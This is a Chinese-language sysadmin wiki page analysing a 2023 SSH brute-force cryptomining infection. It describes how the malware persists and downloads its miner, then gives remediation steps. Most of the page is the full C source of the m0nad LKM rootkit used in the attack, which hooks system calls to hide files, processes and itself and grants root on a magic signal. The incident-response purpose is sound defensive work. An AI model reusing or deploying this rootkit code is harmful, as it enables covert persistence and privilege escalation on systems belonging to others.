Linux
01.系统维护
CPU
内存
drop_cache为什么有些不释放
swap交换分区
磁盘
lvm磁盘扩容
文件夹加密ecryptfs-utils
linux挂载ISCSI磁盘
创建lvm
fstab挂载文件系统
systemd.mount
存储故障
曲线为目录配置限额
lvm缩容
进程
如何找到某一个正在运行的进程?
CRIU进程快照
网络
TCP连接的10种状态
Ubuntu禁用ipv6
close_wait数量过多阻塞网络连接
IP地址与二进制转换
支持ACME的DNS服务器PowerDNS
系统
CentOS版本及对应默认内核版本
修改shell语言
系统启动流程
cgroup
CentOS7升级内核并开启BBR
配置内核参数优化linux
更新grub2默认启动的内核
CentOS-SCLo源
修改键盘映射
Debian12升级时内核编译错误
timesync(ntp)
内核
drop_caches
软件
更新openssl
GUI
Gnome Workspace Names
02.系统安全
Auditd审计服务配置
ssh登陆免公钥验证
恶意脚本处置
2023挖矿脚本m0nad
为ssh服务添加多因子认证
03.基本概念
Out Of Memory
70.QEMU
磁盘格式转换
80.LFS
90.常用脚本
使用except修改操作系统密码
init.d脚本模板
shell脚本判断参数数量
安装oh-my-zsh
systemd脚本模板
端口测试
适用于truenas的ipv6阿里云ddns脚本
更新nginx白名单
将文件改名为md5值
djvu转换为pdf并ocr
99.常用命令
man page中命令后的数字释义
tcpdump
nslookup
nc
rsync
awk
sed
echo
rm
tar
chage
auditctl
ausearch
ab
openssl
parted
find
date
firewall-cmd
sort
vmstat
nice-调整进程的优先级
top
taskset-进程绑定CPU核心
iptables
iostat
sysctl
tr
rpmbuild
转载nginx.spec含说明
安装使用rpmbuild
unpacked files found
grep
vimtutor
tlinux - tos
snmpwalk
chattr
本文档使用 MrDoc 发布
-
+
首页
2023挖矿脚本m0nad
## 攻击方式 ssh爆破攻击获取服务器权限 ## 行为 ### 守护进程 攻击者爆破后会添加一个系统服务作为守护进程以**`mdcheck-`**开头并随守护进程启动。 守护进程可执行文件保存在:`/etc/dns/mdcheck-/mdcheck-xxxxxxxx`,`xxxxxxxx`是随机字符串 在服务成功启动后会从`example.established.site/pn.zip`下载挖矿程序至`/tmp/pn.zip`,解压为:`/opt/system-cache/mdcheck-/iptable_reject`,并删除压缩包。 会于`/tmp/a/`编译并加载内核模块 `iptable_reject`。 最终启动挖矿程序,并轮询检查挖矿脚本。 ### 内核模块 用于隐藏`mdcheck- `开头的所有文件和目录(所以删除所有mdcheck-开头的文件及目录即可) #### 源码 - iptables_reject.h ```c struct linux_dirent { unsigned long d_ino; unsigned long d_off; unsigned short d_reclen; char d_name[1]; }; #define MAGIC_PREFIX "mdcheck-" #define PF_INVISIBLE 0x10000000 #define MODULE_NAME "iptable_reject" enum { SIGINVIS = 41, SIGSUPER = 54, SIGMODINVIS = 53, }; #ifndef IS_ENABLED #define IS_ENABLED(option) (defined(__enabled_ ## option) || defined(__enabled_ ## option ## _MODULE)) #endif #if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0) #define KPROBE_LOOKUP 1 #include <linux/kprobes.h> static struct kprobe kp = { .symbol_name = "kallsyms_lookup_name" }; #endif ``` - 说明: - 变量`MAGIC_PREFIX`的值`mdcheck-`作为前缀用于隐藏文件 - 内核模块名称`MODULE_NAME`为`iptable_reject` - ipables_reject.c ```c #include <linux/sched.h> #include <linux/module.h> #include <linux/syscalls.h> #include <linux/dirent.h> #include <linux/slab.h> #include <linux/version.h> #if LINUX_VERSION_CODE < KERNEL_VERSION(4, 13, 0) #include <asm/uaccess.h> #endif #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 10, 0) #include <linux/proc_ns.h> #else #include <linux/proc_fs.h> #endif #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 26) #include <linux/file.h> #else #include <linux/fdtable.h> #endif #if LINUX_VERSION_CODE <= KERNEL_VERSION(2, 6, 18) #include <linux/unistd.h> #endif #ifndef __NR_getdents #define __NR_getdents 141 #endif #include "iptable_reject.h" #if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64) unsigned long cr0; #elif IS_ENABLED(CONFIG_ARM64) void (*update_mapping_prot)(phys_addr_t phys, unsigned long virt, phys_addr_t size, pgprot_t prot); unsigned long start_rodata; unsigned long init_begin; #define section_size init_begin - start_rodata #endif static unsigned long *__sys_call_table; #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) typedef asmlinkage long (*t_syscall)(const struct pt_regs *); static t_syscall orig_getdents; static t_syscall orig_getdents64; static t_syscall orig_kill; #else typedef asmlinkage int (*orig_getdents_t)(unsigned int, struct linux_dirent *, unsigned int); typedef asmlinkage int (*orig_getdents64_t)(unsigned int, struct linux_dirent64 *, unsigned int); typedef asmlinkage int (*orig_kill_t)(pid_t, int); orig_getdents_t orig_getdents; orig_getdents64_t orig_getdents64; orig_kill_t orig_kill; #endif unsigned long * get_syscall_table_bf(void) { unsigned long *syscall_table; #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 4, 0) #ifdef KPROBE_LOOKUP typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); kallsyms_lookup_name_t kallsyms_lookup_name; register_kprobe(&kp); kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; unregister_kprobe(&kp); #endif syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table"); return syscall_table; #else unsigned long int i; for (i = (unsigned long int)sys_close; i < ULONG_MAX; i += sizeof(void *)) { syscall_table = (unsigned long *)i; if (syscall_table[__NR_close] == (unsigned long)sys_close) return syscall_table; } return NULL; #endif } struct task_struct * find_task(pid_t pid) { struct task_struct *p = current; for_each_process(p) { if (p->pid == pid) return p; } return NULL; } int // 检查进程是否被隐藏 is_invisible(pid_t pid) { struct task_struct *task; if (!pid) return 0; task = find_task(pid); if (!task) return 0; if (task->flags & PF_INVISIBLE) return 1; return 0; } #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) static asmlinkage long hacked_getdents64(const struct pt_regs *pt_regs) { #if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64) int fd = (int) pt_regs->di; struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si; #elif IS_ENABLED(CONFIG_ARM64) int fd = (int) pt_regs->regs[0]; struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->regs[1]; #endif int ret = orig_getdents64(pt_regs), err; #else asmlinkage int hacked_getdents64(unsigned int fd, struct linux_dirent64 __user *dirent, unsigned int count) { int ret = orig_getdents64(fd, dirent, count), err; #endif unsigned short proc = 0; unsigned long off = 0; struct linux_dirent64 *dir, *kdirent, *prev = NULL; struct inode *d_inode; if (ret <= 0) return ret; kdirent = kzalloc(ret, GFP_KERNEL); if (kdirent == NULL) return ret; err = copy_from_user(kdirent, dirent, ret); if (err) goto out; #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0) d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode; #else d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode; #endif if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev) /*&& MINOR(d_inode->i_rdev) == 1*/) proc = 1; while (off < ret) { dir = (void *)kdirent + off; if ((!proc && (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0)) || (proc && is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) { if (dir == kdirent) { ret -= dir->d_reclen; memmove(dir, (void *)dir + dir->d_reclen, ret); continue; } prev->d_reclen += dir->d_reclen; } else prev = dir; off += dir->d_reclen; } err = copy_to_user(dirent, kdirent, ret); if (err) goto out; out: kfree(kdirent); return ret; } #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) static asmlinkage long hacked_getdents(const struct pt_regs *pt_regs) { #if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64) int fd = (int) pt_regs->di; struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si; #elif IS_ENABLED(CONFIG_ARM64) int fd = (int) pt_regs->regs[0]; struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->regs[1]; #endif int ret = orig_getdents(pt_regs), err; #else asmlinkage int hacked_getdents(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count) { int ret = orig_getdents(fd, dirent, count), err; #endif unsigned short proc = 0; unsigned long off = 0; struct linux_dirent *dir, *kdirent, *prev = NULL; struct inode *d_inode; if (ret <= 0) return ret; kdirent = kzalloc(ret, GFP_KERNEL); if (kdirent == NULL) return ret; err = copy_from_user(kdirent, dirent, ret); if (err) goto out; #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0) d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode; #else d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode; #endif if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev) /*&& MINOR(d_inode->i_rdev) == 1*/) proc = 1; while (off < ret) { dir = (void *)kdirent + off; if ((!proc && (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0)) || (proc && is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) { if (dir == kdirent) { ret -= dir->d_reclen; memmove(dir, (void *)dir + dir->d_reclen, ret); continue; } prev->d_reclen += dir->d_reclen; } else prev = dir; off += dir->d_reclen; } err = copy_to_user(dirent, kdirent, ret); if (err) goto out; out: kfree(kdirent); return ret; } void give_root(void) { #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29) current->uid = current->gid = 0; current->euid = current->egid = 0; current->suid = current->sgid = 0; current->fsuid = current->fsgid = 0; #else struct cred *newcreds; newcreds = prepare_creds(); if (newcreds == NULL) return; #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 5, 0) && defined(CONFIG_UIDGID_STRICT_TYPE_CHECKS) || LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0) newcreds->uid.val = newcreds->gid.val = 0; newcreds->euid.val = newcreds->egid.val = 0; newcreds->suid.val = newcreds->sgid.val = 0; newcreds->fsuid.val = newcreds->fsgid.val = 0; #else newcreds->uid = newcreds->gid = 0; newcreds->euid = newcreds->egid = 0; newcreds->suid = newcreds->sgid = 0; newcreds->fsuid = newcreds->fsgid = 0; #endif commit_creds(newcreds); #endif } static inline void tidy(void) { kfree(THIS_MODULE->sect_attrs); THIS_MODULE->sect_attrs = NULL; } static struct list_head *module_previous; static short module_hidden = 0; // 显示模块 void module_show(void) { list_add(&THIS_MODULE->list, module_previous); module_hidden = 0; } // 隐藏模块 void module_hide(void) { module_previous = THIS_MODULE->list.prev; list_del(&THIS_MODULE->list); module_hidden = 1; } #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) asmlinkage int hacked_kill(const struct pt_regs *pt_regs) { #if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64) pid_t pid = (pid_t) pt_regs->di; int sig = (int) pt_regs->si; #elif IS_ENABLED(CONFIG_ARM64) pid_t pid = (pid_t) pt_regs->regs[0]; int sig = (int) pt_regs->regs[1]; #endif #else asmlinkage int hacked_kill(pid_t pid, int sig) { #endif struct task_struct *task; switch (sig) { case SIGINVIS: if ((task = find_task(pid)) == NULL) return -ESRCH; task->flags ^= PF_INVISIBLE; break; case SIGSUPER: give_root(); break; case SIGMODINVIS: if (module_hidden) module_show(); else module_hide(); break; default: #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) return orig_kill(pt_regs); #else return orig_kill(pid, sig); #endif } return 0; } #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) static inline void write_cr0_forced(unsigned long val) { unsigned long __force_order; asm volatile( "mov %0, %%cr0" : "+r"(val), "+m"(__force_order)); } #endif static inline void protect_memory(void) { #if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64) #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) write_cr0_forced(cr0); #else write_cr0(cr0); #endif #elif IS_ENABLED(CONFIG_ARM64) update_mapping_prot(__pa_symbol(start_rodata), (unsigned long)start_rodata, section_size, PAGE_KERNEL_RO); #endif } static inline void unprotect_memory(void) { #if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64) #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) write_cr0_forced(cr0 & ~0x00010000); #else write_cr0(cr0 & ~0x00010000); #endif #elif IS_ENABLED(CONFIG_ARM64) update_mapping_prot(__pa_symbol(start_rodata), (unsigned long)start_rodata, section_size, PAGE_KERNEL); #endif } static int __init iptable_reject_init(void) { __sys_call_table = get_syscall_table_bf(); if (!__sys_call_table) return -1; #if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64) cr0 = read_cr0(); #elif IS_ENABLED(CONFIG_ARM64) update_mapping_prot = (void *)kallsyms_lookup_name("update_mapping_prot"); start_rodata = (unsigned long)kallsyms_lookup_name("__start_rodata"); init_begin = (unsigned long)kallsyms_lookup_name("__init_begin"); #endif module_hide(); tidy(); #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) orig_getdents = (t_syscall)__sys_call_table[__NR_getdents]; orig_getdents64 = (t_syscall)__sys_call_table[__NR_getdents64]; orig_kill = (t_syscall)__sys_call_table[__NR_kill]; #else orig_getdents = (orig_getdents_t)__sys_call_table[__NR_getdents]; orig_getdents64 = (orig_getdents64_t)__sys_call_table[__NR_getdents64]; orig_kill = (orig_kill_t)__sys_call_table[__NR_kill]; #endif unprotect_memory(); __sys_call_table[__NR_getdents] = (unsigned long) hacked_getdents; __sys_call_table[__NR_getdents64] = (unsigned long) hacked_getdents64; __sys_call_table[__NR_kill] = (unsigned long) hacked_kill; protect_memory(); return 0; } static void __exit iptable_reject_cleanup(void) { unprotect_memory(); __sys_call_table[__NR_getdents] = (unsigned long) orig_getdents; __sys_call_table[__NR_getdents64] = (unsigned long) orig_getdents64; __sys_call_table[__NR_kill] = (unsigned long) orig_kill; protect_memory(); } module_init(iptable_reject_init); module_exit(iptable_reject_cleanup); MODULE_LICENSE("Dual BSD/GPL"); MODULE_AUTHOR("m0nad"); MODULE_DESCRIPTION("LKM rootkit"); ``` ### 处置方式 1. 从守护进程配置文件可知,它依赖于`network-online.target`。所以如果发现服务器负载较高,又无法找到上面的文件`/opt/system-cache/mdcheck-/iptable_reject`,可以通过进入单用户或恢复模式,找到`mdcheck-`相关文件目录后删除,然后删除挖矿脚本,这样可以清除守护进程。 2. 清除后为ssh服务设置访问ACL仅允许管理员或堡垒机访问ssh端口,如果需要开放ssh访问建议升级openssl后使用密钥认证登陆服务器。 3. 禁用域名及ip: - example.established.site - 68.183.240.56 4. 如果不想业务停机,也可以使用nfs将文件系统整个共享给另一台机器,因为nfs客户端没有加载恶意内核模块,所以可以直接找到文件并删除。
zhangky
2023年10月11日 23:03
分享文档
收藏文档
上一篇
下一篇
微信扫一扫
复制链接
手机扫一扫进行分享
复制链接
关于 MrDoc
觅思文档MrDoc
是
州的先生
开发并开源的在线文档系统,其适合作为个人和小型团队的云笔记、文档和知识库管理工具。
如果觅思文档给你或你的团队带来了帮助,欢迎对作者进行一些打赏捐助,这将有力支持作者持续投入精力更新和维护觅思文档,感谢你的捐助!
>>>捐助鸣谢列表
微信
支付宝
QQ
PayPal
Markdown文件
分享
链接
类型
密码
更新密码